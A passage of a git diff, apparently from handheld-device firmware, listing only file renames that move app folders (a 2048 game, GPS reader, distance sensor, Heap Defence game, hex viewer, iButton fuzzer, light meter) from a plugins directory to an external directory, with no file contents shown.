applications/external/game_2048/README.md diff --git a/applications/plugins/game_2048/application.fam b/applications/external/game_2048/application.fam similarity index 100% rename from applications/plugins/game_2048/application.fam rename to applications/external/game_2048/application.fam diff --git a/applications/plugins/game_2048/array_utils.c b/applications/external/game_2048/array_utils.c similarity index 100% rename from applications/plugins/game_2048/array_utils.c rename to applications/external/game_2048/array_utils.c diff --git a/applications/plugins/game_2048/array_utils.h b/applications/external/game_2048/array_utils.h similarity index 100% rename from applications/plugins/game_2048/array_utils.h rename to applications/external/game_2048/array_utils.h diff --git a/applications/plugins/game_2048/digits.h b/applications/external/game_2048/digits.h similarity index 100% rename from applications/plugins/game_2048/digits.h rename to applications/external/game_2048/digits.h diff --git a/applications/plugins/game_2048/game_2048.c b/applications/external/game_2048/game_2048.c similarity index 100% rename from applications/plugins/game_2048/game_2048.c rename to applications/external/game_2048/game_2048.c diff --git a/applications/plugins/game_2048/game_2048.png b/applications/external/game_2048/game_2048.png similarity index 100% rename from applications/plugins/game_2048/game_2048.png rename to applications/external/game_2048/game_2048.png diff --git a/applications/plugins/game_2048/images/screenshot1.png b/applications/external/game_2048/images/screenshot1.png similarity index 100% rename from applications/plugins/game_2048/images/screenshot1.png rename to applications/external/game_2048/images/screenshot1.png diff --git a/applications/plugins/game_2048/images/screenshot2.png b/applications/external/game_2048/images/screenshot2.png similarity index 100% rename from applications/plugins/game_2048/images/screenshot2.png rename to applications/external/game_2048/images/screenshot2.png diff --git a/applications/plugins/gps_nmea_uart/LICENSE b/applications/external/gps_nmea_uart/LICENSE similarity index 100% rename from applications/plugins/gps_nmea_uart/LICENSE rename to applications/external/gps_nmea_uart/LICENSE diff --git a/applications/plugins/gps_nmea_uart/README.md b/applications/external/gps_nmea_uart/README.md similarity index 100% rename from applications/plugins/gps_nmea_uart/README.md rename to applications/external/gps_nmea_uart/README.md diff --git a/applications/plugins/gps_nmea_uart/application.fam b/applications/external/gps_nmea_uart/application.fam similarity index 100% rename from applications/plugins/gps_nmea_uart/application.fam rename to applications/external/gps_nmea_uart/application.fam diff --git a/applications/plugins/gps_nmea_uart/gps.c b/applications/external/gps_nmea_uart/gps.c similarity index 100% rename from applications/plugins/gps_nmea_uart/gps.c rename to applications/external/gps_nmea_uart/gps.c diff --git a/applications/plugins/gps_nmea_uart/gps_10px.png b/applications/external/gps_nmea_uart/gps_10px.png similarity index 100% rename from applications/plugins/gps_nmea_uart/gps_10px.png rename to applications/external/gps_nmea_uart/gps_10px.png diff --git a/applications/plugins/gps_nmea_uart/gps_uart.c b/applications/external/gps_nmea_uart/gps_uart.c similarity index 100% rename from applications/plugins/gps_nmea_uart/gps_uart.c rename to applications/external/gps_nmea_uart/gps_uart.c diff --git a/applications/plugins/gps_nmea_uart/gps_uart.h b/applications/external/gps_nmea_uart/gps_uart.h similarity index 100% rename from applications/plugins/gps_nmea_uart/gps_uart.h rename to applications/external/gps_nmea_uart/gps_uart.h diff --git a/applications/plugins/gps_nmea_uart/minmea.c b/applications/external/gps_nmea_uart/minmea.c similarity index 100% rename from applications/plugins/gps_nmea_uart/minmea.c rename to applications/external/gps_nmea_uart/minmea.c diff --git a/applications/plugins/gps_nmea_uart/minmea.h b/applications/external/gps_nmea_uart/minmea.h similarity index 100% rename from applications/plugins/gps_nmea_uart/minmea.h rename to applications/external/gps_nmea_uart/minmea.h diff --git a/applications/plugins/gps_nmea_uart/ui.png b/applications/external/gps_nmea_uart/ui.png similarity index 100% rename from applications/plugins/gps_nmea_uart/ui.png rename to applications/external/gps_nmea_uart/ui.png diff --git a/applications/plugins/gps_nmea_uart/wiring.png b/applications/external/gps_nmea_uart/wiring.png similarity index 100% rename from applications/plugins/gps_nmea_uart/wiring.png rename to applications/external/gps_nmea_uart/wiring.png diff --git a/applications/plugins/hc_sr04/application.fam b/applications/external/hc_sr04/application.fam similarity index 100% rename from applications/plugins/hc_sr04/application.fam rename to applications/external/hc_sr04/application.fam diff --git a/applications/plugins/hc_sr04/dist_sensor10px.png b/applications/external/hc_sr04/dist_sensor10px.png similarity index 100% rename from applications/plugins/hc_sr04/dist_sensor10px.png rename to applications/external/hc_sr04/dist_sensor10px.png diff --git a/applications/plugins/hc_sr04/hc_sr04.c b/applications/external/hc_sr04/hc_sr04.c similarity index 100% rename from applications/plugins/hc_sr04/hc_sr04.c rename to applications/external/hc_sr04/hc_sr04.c diff --git a/applications/plugins/heap_defence_game/application.fam b/applications/external/heap_defence_game/application.fam similarity index 100% rename from applications/plugins/heap_defence_game/application.fam rename to applications/external/heap_defence_game/application.fam diff --git a/applications/plugins/heap_defence_game/assets_images/Background_128x64.png b/applications/external/heap_defence_game/assets_images/Background_128x64.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Background_128x64.png rename to applications/external/heap_defence_game/assets_images/Background_128x64.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box1_10x10.png b/applications/external/heap_defence_game/assets_images/Box1_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box1_10x10.png rename to applications/external/heap_defence_game/assets_images/Box1_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box2_10x10.png b/applications/external/heap_defence_game/assets_images/Box2_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box2_10x10.png rename to applications/external/heap_defence_game/assets_images/Box2_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box3_10x10.png b/applications/external/heap_defence_game/assets_images/Box3_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box3_10x10.png rename to applications/external/heap_defence_game/assets_images/Box3_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box4_10x10.png b/applications/external/heap_defence_game/assets_images/Box4_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box4_10x10.png rename to applications/external/heap_defence_game/assets_images/Box4_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box5_10x10.png b/applications/external/heap_defence_game/assets_images/Box5_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box5_10x10.png rename to applications/external/heap_defence_game/assets_images/Box5_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box6p_10x10.png b/applications/external/heap_defence_game/assets_images/Box6p_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box6p_10x10.png rename to applications/external/heap_defence_game/assets_images/Box6p_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box7p_10x10.png b/applications/external/heap_defence_game/assets_images/Box7p_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box7p_10x10.png rename to applications/external/heap_defence_game/assets_images/Box7p_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Box8p_10x10.png b/applications/external/heap_defence_game/assets_images/Box8p_10x10.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Box8p_10x10.png rename to applications/external/heap_defence_game/assets_images/Box8p_10x10.png diff --git a/applications/plugins/heap_defence_game/assets_images/Game_over_128x64.png b/applications/external/heap_defence_game/assets_images/Game_over_128x64.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Game_over_128x64.png rename to applications/external/heap_defence_game/assets_images/Game_over_128x64.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_01.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_01.png rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_01.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_02.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_02.png rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_02.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_03.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_03.png rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_03.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_04.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_04.png rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_04.png diff --git a/applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_rate b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_rate similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/HD_start_128x64/frame_rate rename to applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_rate diff --git a/applications/plugins/heap_defence_game/assets_images/Person4_1_10x20.png b/applications/external/heap_defence_game/assets_images/Person4_1_10x20.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Person4_1_10x20.png rename to applications/external/heap_defence_game/assets_images/Person4_1_10x20.png diff --git a/applications/plugins/heap_defence_game/assets_images/Person4_2_10x20.png b/applications/external/heap_defence_game/assets_images/Person4_2_10x20.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Person4_2_10x20.png rename to applications/external/heap_defence_game/assets_images/Person4_2_10x20.png diff --git a/applications/plugins/heap_defence_game/assets_images/Person5_1_10x20.png b/applications/external/heap_defence_game/assets_images/Person5_1_10x20.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Person5_1_10x20.png rename to applications/external/heap_defence_game/assets_images/Person5_1_10x20.png diff --git a/applications/plugins/heap_defence_game/assets_images/Person5_2_10x20.png b/applications/external/heap_defence_game/assets_images/Person5_2_10x20.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Person5_2_10x20.png rename to applications/external/heap_defence_game/assets_images/Person5_2_10x20.png diff --git a/applications/plugins/heap_defence_game/assets_images/Start_128x64.png b/applications/external/heap_defence_game/assets_images/Start_128x64.png similarity index 100% rename from applications/plugins/heap_defence_game/assets_images/Start_128x64.png rename to applications/external/heap_defence_game/assets_images/Start_128x64.png diff --git a/applications/plugins/heap_defence_game/box.png b/applications/external/heap_defence_game/box.png similarity index 100% rename from applications/plugins/heap_defence_game/box.png rename to applications/external/heap_defence_game/box.png diff --git a/applications/plugins/heap_defence_game/heap_defence.c b/applications/external/heap_defence_game/heap_defence.c similarity index 100% rename from applications/plugins/heap_defence_game/heap_defence.c rename to applications/external/heap_defence_game/heap_defence.c diff --git a/applications/plugins/heap_defence_game/hede_assets.c b/applications/external/heap_defence_game/hede_assets.c similarity index 100% rename from applications/plugins/heap_defence_game/hede_assets.c rename to applications/external/heap_defence_game/hede_assets.c diff --git a/applications/plugins/heap_defence_game/hede_assets.h b/applications/external/heap_defence_game/hede_assets.h similarity index 100% rename from applications/plugins/heap_defence_game/hede_assets.h rename to applications/external/heap_defence_game/hede_assets.h diff --git a/applications/plugins/hex_viewer/LICENSE b/applications/external/hex_viewer/LICENSE similarity index 100% rename from applications/plugins/hex_viewer/LICENSE rename to applications/external/hex_viewer/LICENSE diff --git a/applications/plugins/hex_viewer/application.fam b/applications/external/hex_viewer/application.fam similarity index 100% rename from applications/plugins/hex_viewer/application.fam rename to applications/external/hex_viewer/application.fam diff --git a/applications/plugins/hex_viewer/hex_viewer.c b/applications/external/hex_viewer/hex_viewer.c similarity index 100% rename from applications/plugins/hex_viewer/hex_viewer.c rename to applications/external/hex_viewer/hex_viewer.c diff --git a/applications/plugins/hex_viewer/icons/hex_10px.png b/applications/external/hex_viewer/icons/hex_10px.png similarity index 100% rename from applications/plugins/hex_viewer/icons/hex_10px.png rename to applications/external/hex_viewer/icons/hex_10px.png diff --git a/applications/plugins/ibtn_fuzzer/LICENSE.md b/applications/external/ibtn_fuzzer/LICENSE.md similarity index 100% rename from applications/plugins/ibtn_fuzzer/LICENSE.md rename to applications/external/ibtn_fuzzer/LICENSE.md diff --git a/applications/plugins/ibtn_fuzzer/application.fam b/applications/external/ibtn_fuzzer/application.fam similarity index 100% rename from applications/plugins/ibtn_fuzzer/application.fam rename to applications/external/ibtn_fuzzer/application.fam diff --git a/applications/plugins/ibtn_fuzzer/ibtnfuzzer.c b/applications/external/ibtn_fuzzer/ibtnfuzzer.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/ibtnfuzzer.c rename to applications/external/ibtn_fuzzer/ibtnfuzzer.c diff --git a/applications/plugins/ibtn_fuzzer/ibtnfuzzer.h b/applications/external/ibtn_fuzzer/ibtnfuzzer.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/ibtnfuzzer.h rename to applications/external/ibtn_fuzzer/ibtnfuzzer.h diff --git a/applications/plugins/ibtn_fuzzer/ibutt_10px.png b/applications/external/ibtn_fuzzer/ibutt_10px.png similarity index 100% rename from applications/plugins/ibtn_fuzzer/ibutt_10px.png rename to applications/external/ibtn_fuzzer/ibutt_10px.png diff --git a/applications/plugins/ibtn_fuzzer/images/ibutt_10px.png b/applications/external/ibtn_fuzzer/images/ibutt_10px.png similarity index 100% rename from applications/plugins/ibtn_fuzzer/images/ibutt_10px.png rename to applications/external/ibtn_fuzzer/images/ibutt_10px.png diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.h diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.h diff --git a/applications/plugins/lightmeter/LICENSE b/applications/external/lightmeter/LICENSE similarity index 100% rename from applications/plugins/lightmeter/LICENSE rename to applications/external/lightmeter/LICENSE diff --git a/applications/plugins/lightmeter/README.md b/applications/external/lightmeter/README.md similarity index 100% rename from applications/plugins/lightmeter/README.md rename to applications/external/lightmeter/README.md diff --git a/applications/plugins/lightmeter/application.fam b/applications/external/lightmeter/application.fam similarity index 100% rename from applications/plugins/lightmeter/application.fam rename to applications/external/lightmeter/application.fam diff --git a/applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene.c b/applications/external/lightmeter/gui/scenes/config/lightmeter_scene.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene.c rename to applications/external/lightmeter/gui/scenes/config/lightmeter_scene.c diff --git a/applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene.h b/applications/external/lightmeter/gui/scenes/config/lightmeter_scene.h similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene.h rename to applications/external/lightmeter/gui/scenes/config/lightmeter_scene.h diff --git a/applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene_config.h b/applications/external/lightmeter/gui/scenes/config/lightmeter_scene_config.h similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene_config.h rename to applications/external/lightmeter/gui/scenes/config/lightmeter_scene_config.h diff --git a/applications/plugins/lightmeter/gui/scenes/lightmeter_scene_about.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_about.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/lightmeter_scene_about.c rename to applications/external/lightmeter/gui/scenes/lightmeter_scene_about.c diff --git a/applications/plugins/lightmeter/gui/scenes/lightmeter_scene_config.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_config.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/lightmeter_scene_config.c rename to applications/external/lightmeter/gui/scenes/lightmeter_scene_config.c diff --git a/applications/plugins/lightmeter/gui/scenes/lightmeter_scene_help.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_help.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/lightmeter_scene_help.c rename to applications/external/lightmeter/gui/scenes/lightmeter_scene_help.c diff --git a/applications/plugins/lightmeter/gui/scenes/lightmeter_scene_main.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_main.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/lightmeter_scene_main.c rename to applications/external/lightmeter/gui/scenes/lightmeter_scene_main.c diff --git a/applications/plugins/lightmeter/gui/views/main_view.c b/applications/external/lightmeter/gui/views/main_view.c similarity index 100% rename from applications/plugins/lightmeter/gui/views/main_view.c rename to applications/external/lightmeter/gui/views/main_view.c diff --git a/applications/plugins/lightmeter/gui/views/main_view.h b/applications/external/lightmeter/gui/views/main_view.h similarity index 100% rename from applications/plugins/lightmeter/gui/views/main_view.h rename to applications/external/lightmeter/gui/views/main_view.h diff --git a/applications/plugins/lightmeter/icons/T_10x14.png b/applications/external/lightmeter/icons/T_10x14.png similarity index 100% rename from applications/plugins/lightmeter/icons/T_10x14.png rename to applications/external/lightmeter/icons/T_10x14.png diff --git a/applications/plugins/lightmeter/icons/f_10x14.png b/applications/external/lightmeter/icons/f_10x14.png similarity index 100% rename from applications/plugins/lightmeter/icons/f_10x14.png rename to applications/external/lightmeter/icons/f_10x14.png diff --git a/applications/plugins/lightmeter/lib/BH1750/BH1750.c b/applications/external/lightmeter/lib/BH1750/BH1750.c similarity index 100% rename from applications/plugins/lightmeter/lib/BH1750/BH1750.c rename to applications/external/lightmeter/lib/BH1750/BH1750.c diff --git a/applications/plugins/lightmeter/lib/BH1750/BH1750.h b/applications/external/lightmeter/lib/BH1750/BH1750.h similarity index 100% rename from applications/plugins/lightmeter/lib/BH1750/BH1750.h rename to applications/external/lightmeter/lib/BH1750/BH1750.h diff --git a/applications/plugins/lightmeter/lib/BH1750/LICENSE b/applications/external/lightmeter/lib/BH1750/LICENSE similarity index 100% rename from applications/plugins/lightmeter/lib/BH1750/LICENSE rename to applications/external/lightmeter/lib/BH1750/LICENSE diff --git a/applications/plugins/lightmeter/lib/BH1750/README.md b/applications/external/lightmeter/lib/BH1750/README.md similarity index 100% rename from applications/plugins/lightmeter/lib/BH1750/README.md rename to applications/external/lightmeter/lib/BH1750/README.md diff --git a/applications/plugins/lightmeter/lib/BH1750/docs/BH1750.pdf b/applications/external/lightmeter/lib/BH1750/docs/BH1750.pdf similarity index 100% rename from applications/plugins/lightmeter/lib/BH1750/docs/BH1750.pdf rename to applications/external/lightmeter/lib/BH1750/docs/BH1750.pdf diff --git a/applications/plugins/lightmeter/lightmeter.c b/applications/external/lightmeter/lightmeter.c similarity index 100% rename from applications/plugins/lightmeter/lightmeter.c rename to applications/external/lightmeter/lightmeter.c diff --git a/applications/plugins/lightmeter/lightmeter.h b/applications/external/lightmeter/lightmeter.h similarity index 100% rename from applications/plugins/lightmeter/lightmeter.h rename to applications/external/lightmeter/lightmeter.h diff --git a/applications/plugins/lightmeter/lightmeter.png 